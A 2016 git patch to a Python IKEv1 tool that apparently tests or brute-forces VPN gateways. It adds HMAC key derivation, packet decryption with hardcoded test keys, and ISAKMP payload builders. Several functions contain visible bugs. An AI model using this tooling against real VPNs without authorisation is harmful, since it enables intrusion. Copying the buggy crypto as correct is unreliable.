From 0ec2e2ec6a9572c4d10c7222c532cf7a6d31a85d Mon Sep 17 00:00:00 2001 From: f0cker Date: Thu, 12 May 2016 15:59:52 +0100 Subject: [PATCH] Version 0.1, bug fixes and new features added - see README --- crypto.py | 195 ++++- decrypt-test.py | 159 +++- ikeclient.py | 447 +++++------ ikeforce.py | 1916 ++++++++++++++++++++++++++++++++++++----------- ikehandler.py | 588 +++++++++++---- 5 files changed, 2444 insertions(+), 861 deletions(-) diff --git a/crypto.py b/crypto.py index aadb8ca..87ed5ab 100755 --- a/crypto.py +++ b/crypto.py @@ -50,6 +50,7 @@ def calcHASH(self, SKEYID, rawDHPub_r, rawDHPub_i, rawCookie_r, rawCookie_i, raw if debug > 0: print 'HASH_I: %s'%HASH_I return HASH_I + else: print "Invalid hash type specified, value should be 'i'(initiator) or 'r'(responder)\nExiting..." @@ -76,22 +77,81 @@ def calcHASH(self, SKEYID, rawDHPub_r, rawDHPub_i, rawCookie_r, rawCookie_i, raw print "Invalid hashtype specified.\nExiting..." exit() + + def calcHASHmcfg(self, SKEYID_a, msgID, mcfgAttr, hashType): ##Supply all values as raw bytes - if hashType == "md5" or hashType == "01": - mcfgHASH = hmac.new(SKEYID_a, msgID+mcfgAttr).hexdigest() - if debug > 0: - print 'Mode Config HASH: %s'%mcfgHASH - return mcfgHASH - elif hashType == "sha" or hashType == "02": + if hashType == "md5" or hashType == "01": + mcfgHASH = hmac.new(SKEYID_a, msgID+mcfgAttr).hexdigest() + if debug > 0: + print 'Mode Config HASH: %s'%mcfgHASH + return mcfgHASH + elif hashType == "sha" or hashType == "02": mcfgHASH = hmac.new(SKEYID_a, msgID+mcfgAttr,hashlib.sha1).hexdigest() if debug > 0: - print 'Mode Config HASH: %s'%mcfgHASH + print 'Mode Config HASH: %s'%mcfgHASH return mcfgHASH else: print "Invalid hashtype specified.\nExiting..." exit() + + + def calcHASHQM(self, SKEYID_a, msgID, data, hashType, hashNum): + ##Supply all values as raw bytes, except hashNum which is the hash number 1-3 + #HASH(1) = prf(SKEYID_a, M-ID | SA | Ni [ | KE ] [ | IDci | IDcr ) + #HASH(2) = prf(SKEYID_a, M-ID | Ni_b | SA | Nr [ | KE ] [ | IDci | IDcr ) + #HASH(3) = prf(SKEYID_a, 0 | M-ID | Ni_b | Nr_b) + + if hashType == "md5" or int(hashType) == 1: + if hashNum == 1: + qmHASH = hmac.new(SKEYID_a, msgID+data).hexdigest() + if debug > 0: + print 'Quick Mode HASH1: %s'%qmHASH + return qmHASH + elif hashType == "sha" or int(hashType) == 2: + if hashNum == 1: + qmHASH = hmac.new(SKEYID_a, msgID+data,hashlib.sha1).hexdigest() + if debug > 0: + print 'Quick Mode HASH1: %s'%qmHASH + return qmHASH + if hashType == "md5" or int(hashType) == 1: + if hashNum == 3: + qmHASH = hmac.new(SKEYID_a, "\x00"+msgID+data).hexdigest()#where data = Ni_b | Nr_b + if debug > 0: + print 'Quick Mode HASH3: %s'%qmHASH + return qmHASH + elif hashType == "sha" or int(hashType) == 2: + if hashNum == 3: + qmHASH = hmac.new(SKEYID_a, "\x00"+msgID+data,hashlib.sha1).hexdigest()#where data = Ni_b | Nr_b + if debug > 0: + print 'Quick Mode HASH3: %s'%qmHASH + return qmHASH + + else: + print "Invalid hashtype specified.\nExiting..." + exit() + + + def calcHASHgen(self, SKEYID, rawData, hashType): + #Generic hash generation supplying all following payloads as the data in raw bytes + if hashType == "md5" or hashType == "01": + HASH_I = hmac.new(SKEYID, rawData).hexdigest() + if debug > 0: + print 'HASH: %s'%HASH_I + return HASH + + elif hashType == "sha" or hashType == "02": + HASH = hmac.new(SKEYID, rawData,hashlib.sha1).hexdigest() + if debug > 0: + print 'HASH: %s'%HASH + return HASH + + else: + print "Invalid hashtype specified.\nExiting..." + exit() + + def calcSKEYID_d(self, SKEYID, rawDHShared, rawCookie_i, rawCookie_r, hashType): #Provide values as raw decoded hex strings #SKEYID_d = prf(SKEYID, g^xy | CKY-I | CKY-R | 0) @@ -148,7 +208,7 @@ def calcSKEYID_e(self, SKEYID, SKEYID_a, rawDHShared, rawCookie_i, rawCookie_r, exit() def calcKa(self, SKEYID_e, keyLen, hashType): - #Calculate the encryption key for phase 2 SA + #Calculate the encryption key #Provide SKEYID_e as raw bytes and keLen as integer keyLen = keyLen * 2 if hashType == "md5" or hashType == "01": @@ -226,7 +286,7 @@ def calcKa(self, SKEYID_e, keyLen, hashType): def calcIV(self, input1, input2, IVLen, hashType): #Calculate the IV for the first message of phase 2 encryption #Provide provide either the DH values as bytes(DHPub_i & DHPub_r) or the message ID and final bytes of previous encrypted block, length as an integer and hash type as a string (currently 'md5' or 'sha') - if hashType == "md5" or hashType == "01": + if hashType == "md5" or int(hashType) == 1: iv = hashlib.md5() iv.update(input1) iv.update(input2) @@ -235,7 +295,7 @@ def calcIV(self, input1, input2, IVLen, hashType): print "IV: %s"%iv IV = iv.decode('hex') - elif hashType == "sha" or hashType == "02": + elif hashType == "sha" or int(hashType) == 2: iv = hashlib.sha1() iv.update(input1) iv.update(input2) @@ -283,41 +343,43 @@ def ikeCipher(self, encKey, IV, encType): def calcPadding(self, encType, data): #Calculate padding required and padd supplied data with zero's #Provide plain-text payload as bytes - if encType == "3DES-CBC" or encType == "05" or encType == 5: - if debug > 0: - print "Padding plain-text payload" + if encType == "3DES-CBC" or int(encType) == 5: blockSize = 8 - padding = blockSize - len(data) % blockSize - if debug > 0: - print "Padding: %s"%padding - data = data + ("\x00" * padding) - return data + if len(data) % blockSize != 0: + padding = blockSize - len(data) % blockSize + else: + padding = 0 + data = data + ("\x00" * padding) + return data + - if encType == "DES-CBC" or encType == "01" or encType == 1: - if debug > 0: - print "Padding plain-text payload" + if encType == "DES-CBC" or int(encType) == 1: blockSize = 8 - padding = blockSize - len(data) % blockSize - if debug > 0: - print "Padding: %s"%padding + if len(data) % blockSize != 0: + padding = blockSize - len(data) % blockSize + else: + padding = 0 data = data + ("\x00" * padding) return data - - if encType == "AES-CBC" or encType == "07" or encType == 7: - if debug > 0: - print "Padding plain-text payload" + if encType == "AES-CBC" or int(encType) == 7: blockSize = 16 - padding = blockSize - len(data) % blockSize - if debug > 0: - print "Padding: %s"%padding + if len(data) % blockSize != 0: + padding = blockSize - len(data) % blockSize + else: + padding = 0 data = data + ("\x00" * padding) return data else: print "Invalid or unsupported encryption type selected\nExiting..." + print int(encType) exit() + if debug > 0: + print "Padding plain-text payload to block size of: %s"%blockSize + print "Padding: %s"%padding + def stripPadding(self, encType, data): #Strip padding from decrypted payload @@ -327,9 +389,65 @@ def stripPadding(self, encType, data): data[0:-ord(data[-1])] return data - def calcKEYMAT(SKEYID_d, rawProtocol, rawSPI, rawNonce_i, rawNonce_r): - #***add pfs keymat - with pfs enabled: KEYMAT = prf(SKEYID_d, g(qm)^xy | protocol | SPI | Ni_b | Nr_b) - return + def calcKEYMAT(self, hashType, keyLen, SKEYID_d, prot, SPI, nonce_i, nonce_r, *arg): + #Provide all values as raw bytes, if PFS is required provide the new shared secret as the 8th argument otherwise don't + #KEYMAT = prf(SKEYID_d, protocol | SPI | Ni_b | Nr_b). + keyLen = keyLen*2 # using hex strings instead of bytes + try: + arg[0] + print "PFS Enabled, using new shared secret" + if hashType == "md5" or int(hashType) == 1: + keymat = hmac.new(SKEYID_d, arg+prot+SPI+nonce_i+nonce_r).hexdigest() + if debug > 0: + print 'Phase 2 Key: %s'%keymat + elif hashType == "sha" or int(hashType) == 2: + keymat = hmac.new(SKEYID_d, arg+prot+SPI+nonce_i+nonce_r, hashlib.sha1).hexdigest() + if debug > 0: + print 'Phase 2 Key: %s'%keymat + else: + print "Invalid hash type specified" + + except: + if hashType == "md5" or int(hashType) == 1: + keymat = hmac.new(SKEYID_d, prot+SPI+nonce_i+nonce_r).hexdigest() + elif hashType == "sha" or int(hashType) == 2: + keymat = hmac.new(SKEYID_d, prot+SPI+nonce_i+nonce_r, hashlib.sha1).hexdigest() + else: + print "Invalid hash type specified" + #keyLen = keyLen/8 + if debug > 0: + print "Key Length: %s (bytes)"%keyLen + ###***make this a method + if len(keymat.decode('hex')) < keyLen: + k1 = keymat + k2 = hmac.new(SKEYID_d, k1.decode('hex')).hexdigest() + ka = k1+k2 + if debug > 0: + print "K2: %s"%k2 + if len(ka.decode('hex')) < keyLen: + k3 = hmac.new(SKEYID_d, k2.decode('hex')).hexdigest() + if debug > 0: + print "K3: %s"%k3 + ka = k1+k2+k3 + ka = ka[:keyLen] + if debug > 0: + print "Ka (Encryption Key):: %s"%ka + keymat = ka.decode('hex') + + else: + ka = ka[:keyLen] + if debug > 0: + print "Ka (Encryption Key): %s"%ka + keymat = ka.decode('hex') + + else: + ka = keymat[:keyLen] + if debug > 0: + print "Ka (Encryption Key): %s"%ka + keymat = ka.decode('hex') + if debug > 0: + print 'Phase 2 Key: %s'%keymat.encode('hex') + return keymat def main(): #Declare static values for testing @@ -390,7 +508,14 @@ def main(): SKEYID_d = testCrypt.calcSKEYID_d(SKEYID, rawDHShared, rawCookie_i, rawCookie_r, hashType) SKEYID_a = testCrypt.calcSKEYID_a(SKEYID, SKEYID_d, rawDHShared, rawCookie_i, rawCookie_r, hashType) SKEYID_e = testCrypt.calcSKEYID_e(SKEYID, SKEYID_a, rawDHShared, rawCookie_i, rawCookie_r, hashType) - #KEYMAT = testCrypt.calcKEYMAT(SKEYID_d, rawDHShared, protocol, SPI, rawNonce_i, rawNonce_r) + #KEYMAT = testCrypt.calcKEYMAT(SKEYID_d, rawDHShared, protocol, SPI, raw + """ + HASH(1) = prf(SKEYID_a, M-ID | SA | Ni [ | KE ] [ | IDci | IDcr ) + HASH(2) = prf(SKEYID_a, M-ID | Ni_b | SA | Nr [ | KE ] [ | IDci | + IDcr ) + HASH(3) = prf(SKEYID_a, 0 | M-ID | Ni_b | Nr_b) + """ + encKey = testCrypt.calcKa(SKEYID_e, keyLen, hashType) initIV = testCrypt.calcIV(rawDHPub_i, rawDHPub_r, IVLen, hashType) curIV = testCrypt.calcIV(lastBlock.decode('hex'), msgID.decode('hex'), IVLen, hashType) diff --git a/decrypt-test.py b/decrypt-test.py index aad98d5..c465722 100644 --- a/decrypt-test.py +++ b/decrypt-test.py @@ -18,47 +18,170 @@ rawPacket = hexStream #Declare some variables. This needs to be extracted from the debug logs. -IVlen = 32 -hashType = "sha" +IVlen = 16 +hashType = "02" debug = 1 -encType = "07" -nextPay = 8 -flags = "01" -encKey = "9fdcc741c2468cb47cf9544827d6403b" +encType = "05" +keyLen = 128 +#nextPay = 8 +#flags = "01" +#encKey = "97ed2e26b2502660a13360824bcc583328a21244e5df0457" +#encKey = "84a89f8bb9f7b9d9dddf732be144dfae" +#encKey = "adefc0d9e9cd5aede7c0f8a2248724e6ac0700579d299bc7" -#initIV = "41761b266f986223b77860669f51bceb" -initIV = "e1745e46e47c9a2e9d1d4876bb514dc0" +################################ +#details for cookie_i 619634d13cc3d654, 3des sha +#encKey = "177df705dca26dc464c2be2ba97d2aa507bfad4a7a220166" +encKey = 'tL\xde\xac\xcb0F\xb1\x9b\xf9\x8f\x8c\x11\xc74\x11\xae<\xa5aWy\x9b\x9b'.encode('hex') +skeyid_a = "c4069fa5a55aae3c" +skeyid_d = "14164e9546f73114dac9a110b954faa545333d01" +#p2IV = "9ed503bd2605176c" +p2IV = "115a440db7158086" +lastBlock = "c4069fa5a55aae3c".decode('hex') +#lastBlock = "81cedc6b9426b374".decode('hex') +#p2IV = "149ed503bd2605176c" +correctHash = "6d0a26147d27c02c7a098531850d0826"# QM hash_1 +################################ -#lastBlock = "e141257409fae7d9c5cde52d8700103f" -lastBlock = "c8c5714355f61130c0fc3285dcf4950e" +""" +################################ +#details for cookie_i, aes/128 sha +encKey = "ca9f1534ae8fe8ba0080ed09e3d005dc" +skeyid_a = "b9874438c22483c845062b4e94dae6efd86bf85e" +skeyid_d = "14164e9546f73114dac9a110b954faa545333d01" +p2IV = "115a440db7158086" +#p2IV = "149ed503bd2605176c" +correctHash = "6d0a26147d27c02c7a098531850d0826"# QM hash_1 +################################ +""" + + + +""" +################################ +#details for cookie_i, 3des, md5 +encKey = "ea0c36ff11dd49661565f84e6f5d49d95a6798a9e71cc9cb" +skeyid_a = "dd996afdac771b5561143b97d3d4a17c" +skeyid_d = "b05fadd6c264451622b2c139d09bdd22" +p2IV = "1b8432d089be6ff6" +correctHash = "6d0a26147d27c02c7a098531850d0826"# QM hash_1 +################################ + +############################### +#details for cookie_i 7a46fcdfc258e929 md5 3des +encKey = "ae59089abfe174251277cdbee29d17cbda9d67c7bc545fab" +p2IV = "0036ddd309b7283d" +############################## + +############################### +#details for cookie_i 36aed8a5fad960a7 md5 3des +encKey = "d74266a68b0e32213e5c4518a2b6437603b289835f77e47a" +p2IV = "6139be47fccb962a" +############################### +""" +""" +############################### +#details for cookie_i 1ffdd25445bde2b4 md5 3des +encKey = "01a53301251b943e7000ed17ee34c8e58723b338d7305a66" +p2IV = "b4f3fba614813d44" +############################### +""" +""" +############################### +#details for cookie_i 166c9fb7331e157d md5 3des +encKey = "a5b2463e4c3f3312caefef6369d491080b81036731c3a09e" +p2IV = "7afae434834d2a29" +############################### +""" + +""" +############################### +#details for cookie_i 5ca41efe07bede8c md5 3des +encKey = "a49cde2dd4f89b80b992447962af2a9cc4f132981d3c1ea2" +p2IV = "e869516e068aae60" +############################### +""" + +""" +############################### +#details for cookie_i 04e58ee88fa81529 md5 3des +encKey = "5a3b5f488b3d0cae5f82fbe8e3df3a78723f1c23d3a6b2b2" +#p2IV = "bf3b72c878c8032d" +p2IV = "12ed57758e4b41ad" +############################### +""" + +#lastBlock for QM should be the last block of the 3rd aggressive mode handshake packet msgID = rawPacket[40:48] +ikeCrypto = crypto.ikeCrypto() -#lastBlock = "bdf25ac1c30047f777db1751f3490d7b" -#lastBlock = "3aa023c54ce5a3f7ce5797a1c15b671f" +#initIV = "c4069fa5a55aae3c".decode('hex') +initIV = p2IV.decode('hex') +#curIV = "c4069fa5a55aae3c".decode('hex') +#initIV = "6139be47fccb962a".decode('hex') +#initIV = "cea46a34198827badf97eecbc3288ffb".decode('hex') ikeHandler = ikehandler.IKEv1Handler(debug) ikeCrypto = crypto.ikeCrypto() -curIV = ikeCrypto.calcIV(initIV.decode('hex'),msgID.decode('hex'), IVlen, hashType) +#curIV = ikeCrypto.calcIV(lastBlock.decode('hex'),msgID.decode('hex'), IVlen, hashType) + +#curIV = curIV[8:] +#curIV = "310b9f65dfb2542b".decode('hex') print "encKey ",encKey print "initIV ",initIV print "msgID ",msgID #print "lastBlock ",lastBlock print "rawencPayload ",rawencPayload -print "curIV ",curIV.encode('hex') -print rawPacket +#print "curIV ",curIV.encode('hex') +#print rawPacket + +""" try: lastBlock print "Trying lastBlock: ",lastBlock ikeDecrypt = ikeCrypto.ikeCipher(encKey.decode('hex'), lastBlock.decode('hex'), encType) - ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV.decode('hex'),lastBlock.decode('hex')) + ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV,lastBlock.decode('hex')) except: - ikeDecrypt = ikeCrypto.ikeCipher(encKey.decode('hex'), curIV, encType) - ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV.decode('hex'),curIV) + ikeDecrypt = ikeCrypto.ikeCipher(encKey.decode('hex'), initIV, encType) + ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV,curIV) + +""" + +#WORKING +lastBlock = ikeCrypto.calcIV(p2IV.decode('hex'),msgID.decode('hex'), IVlen, hashType) + + +#lastBlock = "1cbbce6832c70a07".decode('hex') +#lastBlock = "973f7cff51e45446".decode('hex') +#lastBlock = "68ba32de94a5c98b".decode('hex') + +#lastBlock = "10e3e8e1ee65c655".decode('hex') +#bb323ef80e56e133c7669733e8c73d6917a11ad5af0d1cad361363074bb88311755caf6fb92843ce5a060df7be6c2b79584e399f47b2332216862c6b3896ed0cc58004d8f06b76d76bab1e30211508c27221783a09b2a3f9ca769b486e744ac04a62007ef562e1d0654b7cc5e63f2c093af4ae46c6c3649a0141594223225ec5ce559323a2f03fa8 +#10e3e8e1ee65c655 +#lastBlock = ikeCrypto.calcIV(initIV.decode('hex'),msgID.decode('hex'), IVlen, hashType) +print "lastBlock: %s"%lastBlock.encode('hex') + +cipher = ikeCrypto.ikeCipher(encKey.decode('hex'), lastBlock, encType) +ikePlain = cipher.decrypt(rawencPayload.decode('hex')).encode('hex') +print ikePlain +ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV,lastBlock) + +#print "Trying lastBlock: ",lastBlock +#ikeDecrypt = ikeCrypto.ikeCipher(encKey.decode('hex'), lastBlock.decode('hex'), encType) +#decryptPacket = ikeDecrypt.decrypt(rawPacket) +#print decryptPacket.encode('hex') +#ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV,lastBlock.decode('hex')) + + +#ikeDecrypt = ikeCrypto.ikeCipher(encKey.decode('hex'), curIV, encType) + +#ikeHandler.main(rawPacket,encType,hashType,encKey.decode('hex'),initIV,curIV) + diff --git a/ikeclient.py b/ikeclient.py index 806ea2b..40167a8 100644 --- a/ikeclient.py +++ b/ikeclient.py @@ -16,25 +16,25 @@ import crypto #IKE/ISAKMP client classes - +###***get rid of this port = 500 class IKEv1Client(object): #List some protocol processing values, reserved space and some others omitted - dicPayloads = {'0':'NONE','1':'Security Association (SA)','2':'Proposal (P)','3':'Transform (T)','4':'Key Exchange (KE)','5':'Identification (ID)','6':'Certificate (CERT)','7':'Certificate Request (CR)','8':'Hash (HASH)','9':'Signature (SIG)','10':'Nonce (NONCE)','11':'Notification (N)','12':'Delete (D)','13':'Vendor ID (VID)','14':'Mode CFG Attirbutes','15':'SA KEK Payload (SAK)','16':'SA TEK Payload (SAT)','17':'Key Download (KD)','18':'Sequence Number (SEQ)','19':'Proof of Possession (POP)','20':'NAT Discovery (NAT-D)','21':'NAT Original Address (NAT-OA)','22':'Group Associated Policy (GAP)','23-127':'Unassigned','130':'NAT-D','128-255':'Reserved for private use'} + dicPayloads = {'0':'NONE','1':'Security Association (SA)','2':'Proposal (P)','3':'Transform (T)','4':'Key Exchange (KE)','5':'Identification (ID)','6':'Certificate (CERT)','7':'Certificate Request (CR)','8':'Hash (HASH)','9':'Signature (SIG)','10':'Nonce (NONCE)','11':'Notification (N)','12':'Delete (D)','13':'Vendor ID (VID)','14':'Mode CFG Attributes','15':'SA KEK Payload (SAK)','16':'SA TEK Payload (SAT)','17':'Key Download (KD)','18':'Sequence Number (SEQ)','19':'Proof of Possession (POP)','20':'NAT Discovery (NAT-D)','21':'NAT Original Address (NAT-OA)','22':'Group Associated Policy (GAP)','23-127':'Unassigned','130':'NAT-D','128-255':'Reserved for private use'} dicXTypes = {'0':'NONE','1':'Base','2':'Identity Protection','3':'Authentication Only','4':'Aggressive','5':'Informational','6':'Transaction (MODE-CFG)','32':'Quick Mode (QM)','33':'New Group Mode (NGM)'} dicAtts = {'1':'Encryption Algorithm','2':'Hash Algorithm','3':'Authentication Method','4':'Group Description','5':'Group Type','6':'Group Prime/Irreducible Polynomial','7':'Group Generator One','8':'Group Generator Two','9':'Group Curve A','10':'Group Curve B','11':'Life Type','12':'Life Duration','13':'PRF','14':'Key Length','15':'Field Size','16':'Group Order','17-16383':'Unassigned','16384-32767':'Reserved'} - dicEType = {'0':'Reserved','1':'DES-CBC','2':'IDEA-CBC','3':'Blowfish-CBC','4':'RC5-R16-B64-CBC','5':'3DES-CBC','6':'CAST-CBC','7':'AES-CBC','8':'CAMELLIA-CBC'} + dicEType = {'1':'DES-CBC','2':'IDEA-CBC','3':'Blowfish-CBC','4':'RC5-R16-B64-CBC','5':'3DES-CBC','6':'CAST-CBC','7':'AES-CBC','8':'CAMELLIA-CBC'} dicAType = {'1':'PSK','2':'DSS-Sig','3':'RSA-Sig','4':'RSA-Enc','5':'Revised RSA-Enc','64221':'Hybrid Mode','65001':'XAUTHInitPreShared'} - dicHType = {'0':'Reserved','1':'MD5','2':'SHA','3':'Tiger','4':'SHA2-256','5':'SHA2-384','6':'SHA2-512'} - dicDHGroup = {'0':'Reserved','1':'default 768-bit MODP group','2':'alternate 1024-bit MODP group','3':'EC2N group on GP[2^155]','4':'EC2N group on GP[2^185]','5':'1536-bit MODP group','6':'EC2N group over GF[2^163](see Note)','7':'EC2N group over GF[2^163](see Note)','8':'EC2N group over GF[2^283](see Note)','9':'EC2N group over GF[2^283](see Note)','10':'EC2N group over GF[2^409](see Note)','11':'EC2N group over GF[2^409](see Note)','12':'EC2N group over GF[2^571](see Note)','13':'EC2N group over GF[2^571](see Note)','14':'2048-bit MODP group','15':'3072-bit MODP group','16':'4096-bit MODP group','17':'6144-bit MODP group','18':'8192-bit MODP group','19':'256-bit random ECP group','20':'384-bit random ECP group','21':'521-bit random ECP group','22':'1024-bit MODP Group with 160-bit Prime Order Subgroup','23':'2048-bit MODP Group with 224-bit Prime Order Subgroup','24':'2048-bit MODP Group with 256-bit Prime Order Subgroup','25':'192-bit Random ECP Group','26':'224-bit Random ECP Group','27':'224-bit Brainpool ECP group','28':'256-bit Brainpool ECP group','29':'384-bit Brainpool ECP group','30':'512-bit Brainpool ECP group'} + dicHType = {'1':'MD5','2':'SHA','3':'Tiger','4':'SHA2-256','5':'SHA2-384','6':'SHA2-512'} + dicDHGroup = {'1':'default 768-bit MODP group','2':'alternate 1024-bit MODP group','3':'EC2N group on GP[2^155]','4':'EC2N group on GP[2^185]','5':'1536-bit MODP group','6':'EC2N group over GF[2^163](see Note)','7':'EC2N group over GF[2^163](see Note)','8':'EC2N group over GF[2^283](see Note)','9':'EC2N group over GF[2^283](see Note)','10':'EC2N group over GF[2^409](see Note)','11':'EC2N group over GF[2^409](see Note)','12':'EC2N group over GF[2^571](see Note)','13':'EC2N group over GF[2^571](see Note)','14':'2048-bit MODP group','15':'3072-bit MODP group','16':'4096-bit MODP group','17':'6144-bit MODP group','18':'8192-bit MODP group','19':'256-bit random ECP group','20':'384-bit random ECP group','21':'521-bit random ECP group','22':'1024-bit MODP Group with 160-bit Prime Order Subgroup','23':'2048-bit MODP Group with 224-bit Prime Order Subgroup','24':'2048-bit MODP Group with 256-bit Prime Order Subgroup','25':'192-bit Random ECP Group','26':'224-bit Random ECP Group','27':'224-bit Brainpool ECP group','28':'256-bit Brainpool ECP group','29':'384-bit Brainpool ECP group','30':'512-bit Brainpool ECP group'} dicLType = {'1':'seconds','2':'kilobytes'} dicMCFGType = {'0':'RESERVED','1':'ISAKMP_CFG_REQUEST','2':'ISAKMP_CFG_REPLY','3':'ISAKMP_CFG_SET','4':'ISAKMP_CFG_ACK','5-127':'Reserved for Future Use','128-255':'Reserved for Private Use'} dicMCFGAtt = {'0':'RESERVED','1':'INTERNAL_IP4_ADDRESS','2':'INTERNAL_IP4_NETMASK','3':'INTERNAL_IP4_DNS','4':'INTERNAL_IP4_NBNS','5':'INTERNAL_ADDRESS_EXPIRY','6':'INTERNAL_IP4_DHCP','7':'APPLICATION_VERSION','13':'INTERNAL_IP4_SUBNET','14':'SUPPORTED_ATTRIBUTES'}#missing ipv6 values dicXAUTHAtts = {'16520':'XAUTH_TYPE','16521':'XAUTH_USER_NAME','16522':'XAUTH_USER_PASSWORD','16523':'XAUTH_PASSCODE','16524':'XAUTH_MESSAGE','16525':'XAUTH_CHALLENGE','16526': 'XAUTH_DOMAIN','16527':'XAUTH_STATUS'} dicXAUTHTypes = {'0':'Generic','1':'RADIUS-CHAP','2':'OTP','3':'S/KEY','4-32767':'Reserved for future use','32768-65535':'Reserved for private use'} dicNotType = {'1':'INVALID-PAYLOAD-TYPE','2':'DOI-NOT-SUPPORTED','3':'SITUATION-NOT-SUPPORTED','4':'INVALID-COOKIE','5':'INVALID-MAJOR-VERSION','6':'INVALID-MINOR-VERSION','7':'INVALID-EXCHANGE-TYPE','8':'INVALID-FLAGS','9':'INVALID-MESSAGE-ID','10':'INVALID-PROTOCOL-ID','11':'INVALID-SPI','12':'INVALID-TRANSFORM-ID','13':'ATTRIBUTES-NOT-SUPPORTED','14':'NO-PROPOSAL-CHOSEN','15':'BAD-PROPOSAL-SYNTAX','16':'PAYLOAD-MALFORMED','17':'INVALID-KEY-INFORMATION','18':'INVALID-ID-INFORMATION','19':'INVALID-CERT-ENCODING','20':'INVALID-CERTIFICATE','21':'CERT-TYPE-UNSUPPORTED','22':'INVALID-CERT-AUTHORITY','23':'INVALID-HASH-INFORMATION','24':'AUTHENTICATION-FAILED','25':'INVALID-SIGNATURE','26':'ADDRESS-NOTIFICATION','27':'NOTIFY-SA-LIFETIME','28':'CERTIFICATE-UNAVAILABLE','29':'UNSUPPORTED-EXCHANGE-TYPE','30':'UNEQUAL-PAYLOAD-LENGTHS','36136':'R-U-THERE','36137':'R-U-THERE-ACK'} - + dicCertType = {'0':'NONE','1':'PKCS7 wrapped X.509 certificate','2':'PGP Certificate','3':'DNS Signed Key','4':'X.509 Certificate - Signature','5':'X.509 Certificate - Key Exchange','6':'Kerberos Tokens','7':'Certificate Revocation List CRL','8':'Authority Revocation List ARL','9':'SPKI Certificate','10':'X.509 Certificate - Attribute'} def __init__(self,debug): self.debug = debug @@ -46,83 +46,142 @@ def secRandom(self, bytes): randomBytes = OpenSSL.rand.bytes(bytes) return randomBytes - def ikeHeader(self,payNext,iCookie,rCookie,flags,xType,msgID,prevpayLen): #Input the payload length to this method for now, need to figure out a calculation for this later - #Build the IKE HDR - #Provide next payload, initiator cookie, responder cookie, flags, exchange type, and length of all data being sent not including the header + def payBuild(self, strPayload, lenLen, *arg): + #Payload length calculation, returns the full payload with the length calculated and included + #Provide payload in hex string format, size of length bytes for the payload and any sub payloads as an additional (optional) single argument + try: + #Calculating payload with sub-payloads length + if arg[0] and lenLen <= 2: + wholePayload = strPayload + arg[0] + payLen = hex(len(wholePayload)/2+lenLen)[2:].zfill(lenLen*2)#+2 for the length payload + if self.debug > 0: + print "Calculating length" + print "Payload Length: %s"%payLen + strPayload = wholePayload[:4]+payLen+wholePayload[4:] + arrayPayload = array.array('B', (strPayload).decode("hex")) + else: + #Calculating payload length with larger space used for length bytes (currently this only covers the header paylod, it may break if used for other payloads as the length goes in at the 24th byte) + wholePayload = strPayload + arg[0] + payLen = hex(len(wholePayload)/2+lenLen)[2:].zfill(lenLen*2)#+4 for the length payload + if self.debug > 0: + print "Calculating length" + print "Payload Length: %s"%payLen + strPayload = wholePayload[:48]+payLen+wholePayload[48:] + arrayPayload = array.array('B', (strPayload).decode("hex")) + + + except: + #Calculating payload's length with no sub-payload + if lenLen <= 2: + payLen = hex(len(strPayload)/2+lenLen)[2:].zfill(lenLen*2)#+2 for the length payload itself + if self.debug > 0: + print "Calculating length" + print "Payload Length: %s"%payLen + strPayload = strPayload[:4]+payLen+strPayload[4:] + arrayPayload = array.array('B', (strPayload).decode("hex")) + + else: + #Calculating payload length with larger space used for length bytes (currently this only covers the header paylod, it may break if used for other payloads as the length goes in at the 24th byte) + payLen = hex(len(strPayload)/2+lenLen)[2:].zfill(lenLen*2)#+4 for the length payload itself + if self.debug > 0: + print "Calculating length" + print "Payload Length: %s"%payLen + strPayload = strPayload[:48]+payLen+strPayload[48:] + arrayPayload = array.array('B', (strPayload).decode("hex")) + + return arrayPayload + + def payPack(self, arrayPayload): + lenPayload = len(arrayPayload) + bytesPayload = struct.pack(("B"*lenPayload),*arrayPayload) + return bytesPayload + + def ikeHeader(self,payNext,iCookie,rCookie,version,flags,xType,msgID,payloads): #Input the payload length to this method for now, need to figure out a calculation for this later + #Build the IKE Header + #Provide next payload, initiator cookie, responder cookie, flags, exchange type, and the full following payloads which will be returned as an array of the full packet version = '10' - payLen = int(prevpayLen) + 28 #28 byte ike header - fullpayLen = hex(payLen)[2:].zfill(8) - strPayload = iCookie+rCookie+payNext+version+xType+flags+msgID+fullpayLen - arrayPayload = array.array('B', strPayload.decode("hex")) + strPayload = iCookie+rCookie+payNext+version+xType+flags+msgID + arrayPayload = self.payBuild(strPayload, 4, payloads) + if self.debug > 0: print "Processing IKE Header:" print "iCookie: %s"%iCookie print "rCookie: %s"%rCookie try: - print "Next Payload: %s"%self.dicPayloads[str(int(payNext))] + print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] except TypeError: print "Next Payload: %s"%self.dicPayloads[str(payNext)] print "Version: %s"%version - print "Exchange Type: %s (%s)"%(xType,self.dicXTypes[str(int(xType))]) + print "Exchange Type: %s (%s)"%(xType,self.dicXTypes[str(int(xType, 16))]) print "Flags: %s"%flags print "Message ID: %s"%msgID - print "Payload Length: %s"%fullpayLen return arrayPayload - def ikeSA(self,prevpayLen): + def ikeSA(self, propPayload, *args): #Process SA payload - payNext = "04" + #Provide the full proposal payload as the required agrument + if len(args) > 0: + payNext = args[0] + else: + payNext = "04" padding = "00" #padding here (reserved space) - payLen = "0000" doi = "00000001" sit = "00000001" - - strPayload = payNext+padding+payLen+doi+sit - arrayPayload = array.array('B', strPayload.decode("hex")) - payLen = len(arrayPayload) - fullpayLen = hex(prevpayLen+payLen)[2:].zfill(4) - arraypayLen = array.array('B', fullpayLen.decode("hex")) - arrayPacket = arrayPayload[:2]+arraypayLen+arrayPayload[4:] + + strPayload = payNext+padding+doi+sit + arrayPacket = self.payBuild(strPayload,2,propPayload) + if self.debug > 0: print "Processing SA payload:" print "Next Payload: %s"%self.dicPayloads[str(int(payNext,16))] - print "Payload Length: %s"%fullpayLen print "Domain of Interpretation: %s"%doi print "Situation: %s"%sit return arrayPacket - def ikeProposal(self, prevpayLen): + def ikeProposal(self, strTransforms, payNext, phase): #Process IKE proposal payload - payNext = "00" #(NONE) - padding = "00"#padding (reserved space) - payLen = "0000" - propNum = "01" - protID = "01" - spiSize = "00" 